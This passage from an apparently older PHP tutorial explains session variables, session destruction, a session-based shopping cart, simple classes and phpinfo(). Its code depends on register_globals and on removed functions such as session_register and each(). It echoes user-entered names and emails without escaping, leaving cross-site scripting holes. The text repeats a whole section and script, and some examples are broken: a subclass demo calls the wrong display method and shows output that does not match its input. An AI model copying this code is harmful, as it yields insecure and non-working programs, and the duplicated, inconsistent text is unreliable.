16. <p>Email: <?=$email?>
17. <p>Your settings:<ul>
18. <?
19. while(list($key,$value) = each($news_prefs)) {20. if($value) {21. $value = "Enabled";
22. } else {23. $value = "Disabled";
24. }
25. print("<li class=$value>$key: $value</li>");26. }
27. ?>
28. </ul>
29. </body>
30. </html>
Script 2-3. track_prefs2.php Line-by-Line Explanation
2
Start the session or continue an existing session.
4–13
Print out the beginning of the HTML page.
14–17
Greet the users and show some of their current settings.
19–26
Execute a while loop that goes though the user's settings in the $news_prefs session variable. Print the key of the array item to the screen. If the value of the current array item is enabled, then print "Enabled" on the screen; otherwise, print "Disabled" on the screen. In either case, the value determines which CSS class should be used to display the setting.
27–30
End the HTML page.
Unregistering Session Variables
You may find that some of the session variables that you register are only needed on a few pages and not across an entire site. You can unregister these variables so that they are no longer tracked with the session. This is done using the session_unregister() function:
session_unregister(STRING);
The STRING argument is the name of the variable that you want to unregister from the session. Note that using session_unregister doesn't delete the contents of the variable on the current page. However, the variable value will not be passed to other pages in the session once it has been deleted from the session file.
You may also want to first check to see if the variable is even registered by using the session_is_registered() function:
session_is_registered(STRING);
For example:
//If $name has been registered with the session.
if(session_is_registered("name")) {unset($name);
session_unregister("name");}
This has the effect of deleting the variable from the session, as well as deleting the variable from the current page. Also, you don't have to unset the variables one at a time. You can unset all session variables by using the command session_unset():
session_unset();
session_unset() takes no arguments and simply deletes the values of any variables currently registered with the session. session_unregister() and session_unset() are independent of each other. However, do not call session_unregister() before session_unset() if you also want to unset the value of the variable you are unregistering. Unregistering the variable makes that variable untouchable by session_unset(), for it is no longer a session variable. The proper order to unset the variable $name, as well as unregister it, is:
session_unset();
session_unregister("name");You could also do the opposite if you wanted to make sure that a variable was registered and had a value:
//If $name has not been registered with the session.
if(!session_is_registered("name")) {session_register("name");$name = "Spike";
}
If you have been looking at the contents of the session files in your session.save_path directory, you may have noticed that some files have been building up in there, depending on how many session examples you have opened. The reason these files are still there and not deleted when the user ends the session by closing the browser is because we have not made an effort to destroy the session. You have to explicitly destroy sessions for the session files to be deleted. The reason for this is that you have no real way of knowing how long users may be in sessions. It is perfectly feasible for users to start sessions, then go home for the evening (or even a long weekend!) and come back the next day with the browser still sitting open on the desktop. If users have been doing some shopping, you surely wouldn't want to delete their sessions after a set finite amount of time, precisely for the reasons above.
There are two ways to combat the buildup of files in your temporary directory that will not, in most cases, adversely affect your users' sessions.
The first is to make use of the session_destroy() function:
session_destroy();
session_destroy() takes no arguments. session_destroy() unregisters all session variables associated with the user session and removes any session files created by the session. Remember that even if a variable is unregistered with a session, the variable still exists with its value intact on the current page.
This next script demonstrates the use of the session_destroy() function.
Script 2-4 session2.php
1. <?
2. session_start();
3. if(isset($destroy)) {4. session_destroy();
5. unset($name);
6. } else { 7. if(!session_is_registered("name")) { 8. session_register("name");9. $name = "Spike";
10. }
11. }
12. ?>
13. <p>SESSID: <?=$PHPSESSID?>
14. <p>Name: <?=$name?>
15. <form action=session2.php method=post>
16. <input type="submit" name="reload" value="Reload Session"><br>
17. <input type="submit" name="destroy" value="Destroy Session">
18. </form>
Script 2-4. session2.php Line-by-Line Explanation LINE
DESCRIPTION
2
Start the session or continue an existing session.
3–5
Check to see if the $destroy variable is set. If it is, then the user has pressed the "Destroy" button.
6–10
If $destroy has not been set, then register a session variable named $name and assign that variable the value "Spike".
13–14
Print out the current session ID and the value of the $name variable.
15–18
Display a form to the user that allows him or her to reload the current page or destroy the session variable associated with the current session. If the user reloads the page (by clicking "Reload" or using the browser's reload button), then the session variables are reset and the value for session ID is displayed. If the user clicks the "Destroy" button, then the session file associated with the page is deleted, which in turn deletes the value of the session variable.
Destroying Sessions
If you have been looking at the contents of the session files in your session.save_path directory, you may have noticed that some files have been building up in there, depending on how many session examples you have opened. The reason these files are still there and not deleted when the user ends the session by closing the browser is because we have not made an effort to destroy the session. You have to explicitly destroy sessions for the session files to be deleted. The reason for this is that you have no real way of knowing how long users may be in sessions. It is perfectly feasible for users to start sessions, then go home for the evening (or even a long weekend!) and come back the next day with the browser still sitting open on the desktop. If users have been doing some shopping, you surely wouldn't want to delete their sessions after a set finite amount of time, precisely for the reasons above.
There are two ways to combat the buildup of files in your temporary directory that will not, in most cases, adversely affect your users' sessions.
The first is to make use of the session_destroy() function:
session_destroy();
session_destroy() takes no arguments. session_destroy() unregisters all session variables associated with the user session and removes any session files created by the session. Remember that even if a variable is unregistered with a session, the variable still exists with its value intact on the current page.
This next script demonstrates the use of the session_destroy() function.
Script 2-4 session2.php
1. <?
2. session_start();
3. if(isset($destroy)) {4. session_destroy();
5. unset($name);
6. } else { 7. if(!session_is_registered("name")) { 8. session_register("name");9. $name = "Spike";
10. }
11. }
12. ?>
13. <p>SESSID: <?=$PHPSESSID?>
14. <p>Name: <?=$name?>
15. <form action=session2.php method=post>
16. <input type="submit" name="reload" value="Reload Session"><br>
17. <input type="submit" name="destroy" value="Destroy Session">
18. </form>
Script 2-4. session2.php Line-by-Line Explanation LINE
DESCRIPTION
2
Start the session or continue an existing session.
3–5
Check to see if the $destroy variable is set. If it is, then the user has pressed the "Destroy" button.
6–10
If $destroy has not been set, then register a session variable named $name and assign that variable the value "Spike".
13–14
Print out the current session ID and the value of the $name variable.
15–18
Display a form to the user that allows him or her to reload the current page or destroy the session variable associated with the current session. If the user reloads the page (by clicking "Reload" or using the browser's reload button), then the session variables are reset and the value for session ID is displayed. If the user clicks the "Destroy" button, then the session file associated with the page is deleted, which in turn deletes the value of the session variable.
Note the files in your temporary directory while clicking the "Reload Session" and "Destroy Session" buttons. Each time you click "Destroy Session," notice that the session file with the corresponding session ID is deleted from your session.save_path directory. Each click of "Reload Session" causes the file to be recreated in that directory.
The other way to manage the orphaned session files is to make use of PHP's automatic "garbage" cleanup of these session files. Open your php.ini file in a text editor and scroll down to the [session] settings. Look for the following two settings:
; Percentile probability that the 'garbage collection' process is started
; on every session initialization. session.gc_probability = 1
; After this number of seconds, stored data will be seen as 'garbage' and
; cleaned up by the garbage collection process. session.gc_maxlifetime = 1440
The first setting, session.gc_probability, sets the percentage probability that the files identified as garbage are deleted. The default of "1" means that there is a one-percent probability that all of the items identified as garbage are deleted for every session started.
The second setting, session.gc_maxlifetime, sets the lifetime, in seconds, that a session file can exist before being labeled as garbage. The default of "1440" means that every session file that is older than 24 minutes is considered junk.
A Simple Session-Based Shopping Cart
The following example is a simple session-based shopping cart that allows users to add or remove items from their cart.
The application, as shown in Figure 2-3, first asks for the user's name and email address. Users are then brought to the main shopping page where they can add or remove items from their cart by modifying the quantity text field for each item and clicking the "Add Items" button.
Figure 2-3. session_cart.php Sign-In Screen

When the users have added at least one item, they are presented with a "Check Out" button. They can continue shopping or check out. This is shown in Figure 2-4.
Figure 2-4. session_cart.php Shopping Screen

When users click "Check Out", they are brought to a confirmation page, which displays the contents of their cart. They then have the choice of finishing the order by clicking the "Finish Order" button or going back and adding additional items to their cart by clicking the "Add More Items" button. This is shown in Figure 2-5.
Script 2-5 session_cart.php
1. <?
2. session_start();
3. $inventory = array(
4. "001" => "Tooth Paste",
5. "002" => "Facial Tissue",
6. "003" => "Cotton Swabs",
7. "004" => "Shampoo",
8. "005" => "Conditioner",
9. "006" => "Deodorant"
10. );
11. function populate_cart() {12. global $name, $email, $items;
13. $items = array(0, 0, 0, 0, 0, 0);
14. session_register("name");15. session_register("email");16. session_register("items");17. }
18. function get_user_info() {19. ?>
20. <h3>Please provide us with the following before continuing:</h3>
21. <form action=session_cart.php method=post>
22. <p>Name: <input type="text" name="name">
23. <br>Email: <input type="text" name="email">
24. <p><input type="submit" name="infosubmit" value="Submit">
25. </form>
26. <?
27. }
28. function shop() {29. global $name, $email, $items, $inventory;
30. ?>
31. <p>Shop Below:
32. <form action=session_cart.php method=post><p>
33. <?
34. $total = 0;
35. for($i = 0; $i < sizeof($inventory); $i++) {36. ?>
37. Item ID: <b><?=key($inventory);?></b> Description: <b><?=$inventory[key(
$inventory)]?></b>
38. Qty: <input type="text" name="items_in[<?=$i?>]" value="<?=$items[$i]?>" size="2"
maxlength="2"><br>
39. <?
40. next($inventory);
41. $total = $total + $items[$i];
42. }
43. ?>
44. <p>You have <?=$total?> items in your cart.
45. <p><input type="submit" name="additems">
46. </form>
47. <?
48. if($total > 0) {49. ?>
50. <form action=session_cart_checkout.php>
51. <input type="submit" name="checkout" value="Check Out!">
52. </form>
53. <?
54. }
55. }
56. /* MAIN */
57. if(isset($additems)) {58. $items = $items_in;
59. echo("<h3>Cart Updated!</h3>");60. shop();
61. }elseif(!isset($name)) {62. get_user_info();
63. } elseif(isset($infosubmit)) {64. populate_cart();
65. shop();
66. } else {67. shop();
68. }
69. ?>
Script 2-5. session_cart.php Line-by-Line Explanation
Script 2-5. session_cart.php Line-by-Line Explanation LINE
DESCRIPTION
2
Start the session or continue an existing session.
3–10
Create an array to be used as the items available in the store.
11-
Declare a new function populate_cart(). This function sets up the user's shopping cart.
12-
Declare some global variables for the user. The $items variable is the items in the user's shopping cart.
13-
Zero out the items in the user's shopping cart.
14–16
Register the variables that have been declared with the session.
18–27
Declare a function to get the user info when the user first arrives at the shopping cart. The function asks for the user's name and email.
28
-Declare the shop function. This function does the work of adding and removing items from the user's shopping cart.
29-
Allow the function to access and modify the $name, $email, $items, and $inventory variables.
32
-Create the shopping form.
34
-Assign a value of 0 to the $totals variable. This variable is used to show how many items are in the user's cart, which is calculated as the user adds or removes items from the cart.
35-
Loop through the items in the $inventory array.
37–38
Display the ID (key) and Description (value) for each item in the store's inventory. At the same time, display how many items are in the user's cart in a text input field. If the user has not added any items into the cart, then all values read as 0, which is the value that was used to initialize the cart.
40
-Use the next() function so that the next key is available the next time the loop is executed.
41
-Add the current total of items in the user's cart for this loop to the running total of items.
42
-Exit from the for loop.
44
-Display the current item total to the user.
45-
Display an "Add Items" button. It is used to execute the additems clause in the main program.
48–54
If the user has at least one item in the cart, then display the "Check Out" button, which brings the user to the session_cart_checkout.php page.
55-
End the function.
56-
Begin the main program.
57–59
Check to see if the "Add Items" button has been pushed. Display a message to the user that the cart has been updated after the $items session variable is updated.
58
-If the "Add Items" button has been pushed, then replace the session variable $items with the items from the form $items_in. The session variable is not automatically updated when you submit variables from a form. You need to explicitly assign a new value to the session variable.
59-Display a message to the user that the cart has been updated after the $items session variable is updated.
60-Run the shop() function so that the user can add or remove additional items.
61-If the "Add Items" button has not been pushed and the $name variable has not been set, then execute the get_user_info() function, since this is the first time the user has visited the page.
63–65
If none of the above is true, but the $infosubmit variable has been set, then we know the user has just entered the information. Execute the populate_cart() function to initialize the cart.
66–68
If nothing else has happened, just execute the shop function. Since the session variable for $name must be set then, we know the user has entered the information and the cart has been initialized, but no items have been added to the cart.
Script 2-6 session_cart_checkout.php
1. <?
2. session_start();
3. $inventory = array(
4. "001" => "Tooth Paste",
5. "002" => "Facial Tissue",
6. "003" => "Cotton Swabs",
7. "004" => "Shampoo",
8. "005" => "Conditioner",
9. "006" => "Deodorant"
10. );
11. if(!isset($name)) {12. ?>
13. <h2>Sorry, you need to <a href=session_cart.php>add some items</a> before you can
check out.
14. <?
15. }elseif(isset($finish)) {16. ?>
17. <h3>Order Complete!<h3>
18. <?
19. // send email confirmation...
20. // send order to order processing script...
21. session_unset();
22. session_destroy();
23. } else {24. ?>
25. <h2>Checkout</h3>
26. <p>Thank you for shopping with us <?=$name?>, your order is below:
27. <p><table border=1>
28. <?
29. $total = 0;
30. for($i = 0; $i < sizeof($inventory); $i++) {31. ?>
32. <tr><td>Item ID: <b><?=key($inventory);?></b></td>
33. <td>Description: <b><?=$inventory[key($inventory)]?></b></td>
34. <td>Qty: <?=$items[$i]?></td></tr>
35. <?
36. next($inventory);
37. $total = $total + $items[$i];
38. }
39. ?>
40. <tr><td colspan=3 align=right>Total: <?=$total?></td></tr>
41. </table>
42. <p>A confirmation of your order will be sent to the email address: <b><?=$email?></b>,
after you have finished your order.
43. <p>
44. <form action=session_cart.php>
45. <input type="submit" name="continue" value="Add More Items">
46. </form>
47. <form action=session_cart_checkout.php>
48. <input type="submit" name="finish" value="Finish Order">
49. </form>
50. <?
51. }
52. ?>
Script 2-6. session_cart_checkout.php Line-by-Line Explanation
Script 2-6. session_cart_checkout.php Line-by-Line Explanation
2
Start the session or continue an existing session.
3–10
Recreate an array to be used as the items available in the store.
11
Verify that the $name variable is set. If it is, then we know that there is existing session data.
12–14
If the $name variable is not set, then we know that the there is no session data or that it is incomplete. Redirect users back to the shopping cart page so that they can reregister their name and email and add some items to their cart.
15
Check to see if the "Finish Order" has been pushed.
16–20
If the "Finish Order" button has been pushed, then notify the user that the order has been completed. Then do whatever processing is required, such as sending email or sending the order to an order-processing script.
21
Delete all the session variables, since we no longer need the data.
22
Destory the session to remove the session file from the server's disk.
This has the added benefit of not allowing the user to click "Reload" or the "Back" button and produce multiple orders for the same thing.
23
If the order has not been finalized and we know the $name variable has been set in the session, then execute the remainder of the script.
25–41
Display a table using the data from the $inventory array and from the $items in the user's shopping cart. This table is similar to the one used in the session_cart.php script that displays the shopping form, except that the fields are not editable.
42
Display a message providing details to users of what happens when they click the "Finish Order" button.
43–46
Provide a button so that users can go back and edit items in their cart.
47–49
Display the "Finish Order" button so that users can confirm their order.
51
Close out the if/elseif/else statement started on line 11.
Object Oriented Programming with PHP
PHP supports Object Oriented Programming (OOP) in the form of classes. Just like in other OOP languages, the classes can be extended for greater reuse of code.
To create an address entry class that contains a person's first and last name and phone number:
class address_book_entry { var $first;
var $last;
var $number;
function set_name($first, $last) {$this->first = $first;
$this->last = $last;
}
function set_number($number) {$this->number = $number;
}
function display_entry() {echo "<p>Name: " . $this->first . " " . $this->last;
echo "<br>Number: " . $this->number;
}
}
//Usage:
$entry = &new address_book_entry;
$entry->set_name("Jane","Smith");$entry->set_number("555-555-5555");$entry->display_entry();
//displays:
Name: Jane Smith
Number: 555-555-5555
Additionally, you can extend an existing class to create a new class that has the same functionality of the old class, plus any new functionality you add:
class address_book_entry2 extends address_book_entry { var $email;
function set_email($email) {$this->email = $email;
}
function display_entry2() {echo "<p>Name: " . $this->first . " " . $this->last;
echo "<br>Number: " . $this->number;
echo "<br>Email: " . $this->email;
}
}
//Usage:
$entry = &new address_book_entry2;
$entry->set_name("Jane","Smith");$entry->set_number("555-555-5555");$entry->set_email("jsmith@com.com");$entry->display_entry();
//displays:
Name: Jane Smith
Number: 555-555-5555
Email: smith@com.com
phpinfo( )
phpinfo() is a very useful function that allows you to see what version of PHP is running on your Web server, as well as all of the specific settings that are enabled in that version.
Throughout this book, there are sections that ask you to verify your settings. One way to do this is to create a script that includes just the following:
<? phpinfo(); ?>
Upon execution of the script, the browser displays the current PHP settings. This function is especially useful if you are working on somebody else's server and are not quite sure of its capabilities.